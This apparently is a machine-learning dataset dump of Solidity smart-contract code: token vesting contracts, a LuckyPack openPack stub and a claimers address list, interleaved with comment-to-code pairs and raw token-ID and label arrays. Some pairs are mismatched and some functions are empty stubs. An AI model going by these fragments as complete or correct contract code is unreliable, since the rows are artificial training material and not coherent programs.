* @param _amount An array with the amounts of tokens each address will get minted.
* @return A boolean that indicates whether the operation was successful.
*/
function batchMint(
address[] _to,
uint256[] _amount
)
hasMintPermission
canMint
public
returns (bool)
{
require(_to.length == _amount.length);
for (uint i = 0; i < _to.length; i++) {
requireMultiple(_amount[i]);
require(mint(_to[i], _amount[i]));
}
return true;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param token ERC20 token which is being vested
*/
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract RoundedTokenVesting is TokenVesting {
using SafeMath for uint256;
// Minimum transferable chunk
uint256 public granularity;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
uint256 _granularity
)
public
TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable)
{
granularity = _granularity;
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
uint256 notRounded = totalBalance.mul(block.timestamp.sub(start)).div(duration);
// Round down to the nearest token chunk by using integer division: (x / 1e18) * 1e18
uint256 rounded = notRounded.div(granularity).mul(granularity);
return rounded;
}
}
}
contract TendTokenVested is TendToken {
using SafeMath for uint256;
/*** CONSTANTS ***/
uint256 public constant DEVELOPMENT_TEAM_CAP = 2e6 * 1e18; // 2 million * 1e18
uint256 public constant VESTING_CLIFF = 0 days;
uint256 public constant VESTING_DURATION = 3 * 365 days;
uint256 public developmentTeamTokensMinted;
// for convenience we store vesting wallets
address[] public vestingWallets;
modifier onlyNoneZero(address _to, uint256 _amount) {
require(_to != address(0));
require(_amount > 0);
_;
}
/**
* @dev allows contract owner to mint team tokens per DEVELOPMENT_TEAM_CAP and transfer to the development team's wallet (yes vesting)
* @param _to address for beneficiary
* @param _tokens uint256 token amount to mint
*/
function mintDevelopmentTeamTokens(address _to, uint256 _tokens) public onlyOwner onlyNoneZero(_to, _tokens) returns (bool) {
requireMultiple(_tokens);
require(developmentTeamTokensMinted.add(_tokens) <= DEVELOPMENT_TEAM_CAP);
developmentTeamTokensMinted = developmentTeamTokensMinted.add(_tokens);
RoundedTokenVesting newVault = new RoundedTokenVesting(_to, block.timestamp, VESTING_CLIFF, VESTING_DURATION, false, granularity);
vestingWallets.push(address(newVault)); // for convenience we keep them in storage so that they are easily accessible via MEW or etherscan
return mint(address(newVault), _tokens);
}
/**
* @dev returns number of elements in the vestinWallets array
*/
function getVestingWalletLength() public view returns (uint256) {
return vestingWallets.length;
}
} | Trigger payin event | emit Payin(msg.sender, msg.value, dividendEndTime);
| 12,540,944 | [
1,
6518,
8843,
267,
871,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
3626,
13838,
267,
12,
3576,
18,
15330,
16,
1234,
18,
1132,
16,
31945,
25255,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xC2DA2859901fdB615Ebf4449983b96BECa238c57/sources/StabilizeStrategyDSDESDArb.sol | Get the token balance at this contract, should increase
| uint256 _totalBalance = balance(); | 2,615,854 | [
1,
967,
326,
1147,
11013,
622,
333,
6835,
16,
1410,
10929,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
5034,
389,
4963,
13937,
273,
11013,
5621,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0xD363c5DFa3691C318c74c089098E1204020a80a3/sources/contracts/LuckyPack.sol | @notice Lets a pack owner open packs and receive the packs' reward units. | function openPack(uint256 _packId, uint256 _amountToOpen) external returns (Token[] memory) {
}
| 1,865,493 | [
1,
48,
2413,
279,
2298,
3410,
1696,
2298,
87,
471,
6798,
326,
2298,
87,
11,
19890,
4971,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1696,
4420,
12,
11890,
5034,
389,
2920,
548,
16,
2254,
5034,
389,
8949,
774,
3678,
13,
3903,
1135,
261,
1345,
8526,
3778,
13,
288,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
claimers[0xEB079Ee381FC821B809F6110cCF7a8439C7A6870] = 0; // seq: 0 -> tkn_id: 0
claimers[0xcBD56A71a02fA7AA01bF1c94c0AeB2828Bebdc0A] = 1; // seq: 1 -> tkn_id: 1
claimers[0x9E1fDAB0FE4141fe269060f098bc7076d248cE7B] = 2; // seq: 2 -> tkn_id: 2
claimers[0x33aEA8f43D9685683b236B20a1818aFcD48204cD] = 3; // seq: 3 -> tkn_id: 3
claimers[0xFD289c26cEF8BB89A76252d9F4617cf54ce4EeBD] = 4; // seq: 4 -> tkn_id: 4
claimers[0x04bfcB7b6bc81361F14c1E2C7592d712e3b9f456] = 5; // seq: 5 -> tkn_id: 5
claimers[0x47E51859134f7d7F7379B1AEcD17a19924025A10] = 6; // seq: 6 -> tkn_id: 6
claimers[0x557159300478941E61cb60A46340F8100C590A56] = 7; // seq: 7 -> tkn_id: 7
claimers[0x7Ed273A361D6bb16833f0E563C313e205738112f] = 8; // seq: 8 -> tkn_id: 8
claimers[0x010594cA1B98ffEd9dFE3d15b749f8BaE3F21C1B] = 9; // seq: 9 -> tkn_id: 9
claimers[0x27221550A0ab5487e79460cd80C3E2aFDB48134e] = 10; // seq: 10 -> tkn_id: 10
claimers[0xF3920288e9DCCFED1AE5a05E466d5da2289062FC] = 11; // seq: 11 -> tkn_id: 11
claimers[0x8dca66E74007d8aD89aFC399d131030Ef29311eF] = 12; // seq: 12 -> tkn_id: 12
claimers[0x355B8F6059F5414AB1F69FcA34088c4aDC554B7f] = 13; // seq: 13 -> tkn_id: 13
claimers[0x020BE4338B750B85c73E598bF468E505A8eb76Ea] = 14; // seq: 14 -> tkn_id: 14
claimers[0x04B00a9F997799F4e265D8796a5F2d22C7A8b9AD] = 15; // seq: 15 -> tkn_id: 15
claimers[0xf8ab6312272E4f2eAB48ddcbD00D905e0E1bCb55] = 16; // seq: 16 -> tkn_id: 16
claimers[0x6B745dEfEE931Ee790DFe5333446eF454c45D8Cf] = 17; // seq: 17 -> tkn_id: 17
claimers[0xE770748e5781f171a0364fbd013188Bc0b33E72f] = 18; // seq: 18 -> tkn_id: 18
claimers[0xEa07596132df9F23Af112593dF0C27A0275d67E5] = 19; // seq: 19 -> tkn_id: 19
claimers[0xB22E58d1550D984b580c564E1dE7868521150988] = 20; // seq: 20 -> tkn_id: 20
claimers[0xf6EA8168a1D1D5d36f22436ad2030d397a616619] = 21; // seq: 21 -> tkn_id: 21
claimers[0x424E9cC4c00aD160c3f36b5471514a6C36a8d73e] = 22; // seq: 22 -> tkn_id: 22
claimers[0x365F34a3236c00823C7844885Ac6BF7a15430eD2] = 23; // seq: 23 -> tkn_id: 23
claimers[0x333C5dBa8179822056F2289BdeDe1B53A863F577] = 24; // seq: 24 -> tkn_id: 24
claimers[0xC9de959443935C3f3CC8E82889d5E80e8cD4a8a9] = 25; // seq: 25 -> tkn_id: 25
claimers[0xE2853A8Ba2e42e78cF8a6b063056F067307fB8f4] = 26; // seq: 26 -> tkn_id: 26
claimers[0xE8926AeBb36A046858D882309e7Aea367F8DB6Cd] = 27; // seq: 27 -> tkn_id: 27
claimers[0x7A48401B0543573D21dfEf15FC54a3E2F599CddF] = 28; // seq: 28 -> tkn_id: 28
claimers[0xd789A1a081553AF9407572711c1163F8A06b4d8F] = 29; // seq: 29 -> tkn_id: 29
claimers[0x498E96c727700a6B7aC2c4EfBd3E9a5DA4F0d137] = 30; // seq: 30 -> tkn_id: 30
claimers[0x7450Cc1b710Afd9B07EECAA19520735e1848479f] = 31; // seq: 31 -> tkn_id: 31
claimers[0x8637576EbDF8b8cb96de6a32C99cb8bDa61d2A11] = 32; // seq: 32 -> tkn_id: 32
claimers[0x77724E749eFB937CE0a78e16E1f1ec5979Cba55a] = 33; // seq: 33 -> tkn_id: 33
claimers[0x3b3D3491f9aE5125f156abA9380aFf62c201054C] = 34; // seq: 34 -> tkn_id: 34
claimers[0x782E60F18e4a3Fc21FF1409d4312ed769f70B1ef] = 35; // seq: 35 -> tkn_id: 35
claimers[0x05C4C65873473C13741c31De2d74005832A0A3d8] = 36; // seq: 36 -> tkn_id: 36
claimers[0xC5E57C099Ed08c882ea1ddF42AFf653e31Ac40df] = 37; // seq: 37 -> tkn_id: 37
claimers[0xe0dC972a92f3b463b43aB29b4F9C960983Bf948F] = 38; // seq: 38 -> tkn_id: 38
claimers[0x4348d40ee12932Aaf0e3412a3aC0598Eb22b96Ad] = 39; // seq: 39 -> tkn_id: 39
claimers[0x75Df0A4a6994AEAa458cfB15863131448fAeDf62] = 40; // seq: 40 -> tkn_id: 40
claimers[0x355e03d40211cc6b6D18ce52278e91566fF29839] = 41; // seq: 41 -> tkn_id: 41
claimers[0x9256EBe5cBcc67E28E2Cd981b835e02590aae7e4] = 42; // seq: 42 -> tkn_id: 42
claimers[0xFf0bAF087F2EE3BbcD2b8aA6560bd5B8F23D99B4] = 43; // seq: 43 -> tkn_id: 43
claimers[0x044bBDc90E1770abD48B6Ede37430b325B6A95EE] = 44; // seq: 44 -> tkn_id: 44
claimers[0x7060FE99b67e37c5fdA833edFe6135580876B996] = 45; // seq: 45 -> tkn_id: 45
claimers[0xaBfc1b7AFD818E1a44539b1EC5021C649b9Dded0] = 46; // seq: 46 -> tkn_id: 46
claimers[0xeec2f0f93e6BC7d13c5E61887aea39d233A0631f] = 47; // seq: 47 -> tkn_id: 47
claimers[0xF6d670C5C0B206f44E93dE811054F8C0b6e15905] = 48; // seq: 48 -> tkn_id: 48
claimers[0x679959449b608AF08d9419fE66D4e985c7d64D96] = 49; // seq: 49 -> tkn_id: 49
claimers[0xF5Dc9930f10Ca038De87C2FDdebe03C10aDeABDC] = 50; // seq: 50 -> tkn_id: 50
claimers[0x07587c046d4d4BD97C2d64EDBfAB1c1fE28A10E5] = 51; // seq: 51 -> tkn_id: 51
claimers[0xc674fFaD8082Aa238F15cd5a91aB1fd68aFEcEaE] = 52; // seq: 52 -> tkn_id: 52
claimers[0xF670B0Ce50B31B5BE40fD8cE84535a7D021775EF] = 53; // seq: 53 -> tkn_id: 53
claimers[0xEec4013a607D720989DB8F464361CdcF2cb7A7BD] = 54; // seq: 54 -> tkn_id: 54
claimers[0xA183B2f9d89367D935EC1Ebd1d33288a7113a971] = 55; // seq: 55 -> tkn_id: 55
claimers[0x42de824dA4C1Af884ebEdaA2352Fd4d4e00445DF] = 56; // seq: 56 -> tkn_id: 56
claimers[0x6F4440719569D61571f50c7e2B33b17E191b0654] = 57; // seq: 57 -> tkn_id: 57
claimers[0xBe671d9b29F218d711404D8F39f830eE14dAAF72] = 58; // seq: 58 -> tkn_id: 58
claimers[0xC7892093FEE029bF01D2b8C02098Cd4864bE3939] = 59; // seq: 59 -> tkn_id: 59
claimers[0x5a6541F3205D510ddB3B6dFD7b5fc5361C6fD47c] = 60; // seq: 60 -> tkn_id: 60
claimers[0xcBde85bF0b88791f902d4c18E4ad5F5CFAf76794] = 61; // seq: 61 -> tkn_id: 61
claimers[0x6A6181794DDDC287F54CF7393d81539Be2899cFd] = 62; // seq: 62 -> tkn_id: 62
claimers[0x70A2907B45A81f53b09976294B99b345B77fD134] = 63; // seq: 63 -> tkn_id: 63
claimers[0x171c3eEd74fcd74881f8Cb1de048C156D8c0EdE4] = 64; // seq: 64 -> tkn_id: 64
claimers[0x9d430D7338FF1E15f889ac90Ca992630F5150e64] = 65; // seq: 65 -> tkn_id: 65
claimers[0xd2C8CC3DcB9C79A4F85Bcad9EF4e0ccf4619d690] = 66; // seq: 66 -> tkn_id: 66
claimers[0x4e79317de3479dC23De1F1A9Ca664651bCAc8A43] = 67; // seq: 67 -> tkn_id: 67
claimers[0x35dF3706eD8779Fc4b401722754867304c11c95D] = 68; // seq: 68 -> tkn_id: 68
claimers[0xD29D862f28331705D432Dfab3f3491372E7295ad] = 69; // seq: 69 -> tkn_id: 69
claimers[0x889769e73f452E10B70414917c4d1fcd0F9a53b8] = 70; // seq: 70 -> tkn_id: 70
claimers[0x8a381C0bB4B2322a455897659cb34BC1395d3124] = 71; // seq: 71 -> tkn_id: 71
claimers[0x5319C3F016C7FC4b6770d4a8C313036da7F61290] = 72; // seq: 72 -> tkn_id: 72
claimers[0xC9D15F4E6f1b37CbF0E8068Ff84B5282edEF9707] = 73; // seq: 73 -> tkn_id: 73
claimers[0x826121D2a47c9D6e71Fd4FED082CECCc8A5381b1] = 74; // seq: 74 -> tkn_id: 74
claimers[0xb12F75B5F95022a54E6BbDd1086691635571911e] = 75; // seq: 75 -> tkn_id: 75
claimers[0xc9C56009DD643c2e6567E83F75A69C8Cc29AdeaC] = 76; // seq: 76 -> tkn_id: 76
claimers[0x40e00884ee94a5143cd9419d5DCA7Ede6730a793] = 77; // seq: 77 -> tkn_id: 77
claimers[0x78F3Aab3E918F2Bf8089EBC3698f78D3a273D6B2] = 78; // seq: 78 -> tkn_id: 78
claimers[0x7e6A5192cF2033c00efA844A353AFE1869bDF94B] = 79; // seq: 79 -> tkn_id: 79
claimers[0x3af46de2aCc78D4d4902a87618d28C0B194d7e63] = 80; // seq: 80 -> tkn_id: 80
claimers[0x0c84d74104Ac83AB98a80FB5e88F06137e842825] = 81; // seq: 81 -> tkn_id: 81
claimers[0x54280007118299877b466875B2aa6B59327DD93c] = 82; // seq: 82 -> tkn_id: 82
claimers[0x26122FE0a9966f1fA4897982782225037B3e490B] = 83; // seq: 83 -> tkn_id: 83
claimers[0xaCcE74f9dD9f3133f160417A8B554CD3Cc8a3B95] = 84; // seq: 84 -> tkn_id: 84
claimers[0xb081c44e699A895f126D09D362B1088826D12963] = 85; // seq: 85 -> tkn_id: 85
claimers[0x86c8283764C402C9E61d916096780014724C8fC9] = 86; // seq: 86 -> tkn_id: 86
claimers[0xC7857556C226b0e61bb18EB8Dd191bE7E1ee8Ad3] = 87; // seq: 87 -> tkn_id: 87
claimers[0xc45e08A07F491e778463460D52c592d11C3f761a] = 88; // seq: 88 -> tkn_id: 88
claimers[0x6F08fdC20c018121c6BE83218C95eBf42A45b571] = 89; // seq: 89 -> tkn_id: 89
claimers[0x073859cdA73a56d92a13DbE2B4e0B34dEF4756e8] = 90; // seq: 90 -> tkn_id: 90
claimers[0xA2531843629b036C6691A63bE5a91291902d42E0] = 91; // seq: 91 -> tkn_id: 91
claimers[0x4C697E1432cB49AC229241b5577284671Bae9d16] = 92; // seq: 92 -> tkn_id: 92
claimers[0x5973FFe2B9608e66A328c87c534e4Bb758618e73] = 93; // seq: 93 -> tkn_id: 93
claimers[0xcdB76A96af6eEC323a0fAC36D852b552f16C5a5F] = 94; // seq: 94 -> tkn_id: 94
claimers[0x23D623D3C6F334f55EF0DDF14FF0e05f1c88A76F] = 95; // seq: 95 -> tkn_id: 95
claimers[0x843D261B740F97BF31d09846F9d96dcC5Fd2a0D0] = 96; // seq: 96 -> tkn_id: 96
claimers[0x81cee999e0cf2DA5b420a5c02649C894F69C86bD] = 97; // seq: 97 -> tkn_id: 97
claimers[0x927a03B6606380147e38E88b1B491c7D29a62eEa] = 98; // seq: 98 -> tkn_id: 98
claimers[0x64F8eF34aC5Dc26410f2A1A0e2b4641189040231] = 99; // seq: 99 -> tkn_id: 99
claimers[0x1cFACa65bF36aE4548c9fB84d4d8A22bfBAA7B84] = 100; // seq: 100 -> tkn_id: 100
claimers[0xa069cD30b87e947Ba78e36e30E485e4926e4d176] = 101; // seq: 101 -> tkn_id: 101
claimers[0x9631200833a348641c5D08C5E146BBBFcD5367D2] = 102; // seq: 102 -> tkn_id: 102
claimers[0xb521154e8f8978f64567FE0FA7359Ab47f7363fA] = 103; // seq: 103 -> tkn_id: 103
claimers[0x9b534B88E83013B2fCE9Bb5BA813a6B96707cc8F] = 104; // seq: 104 -> tkn_id: 104
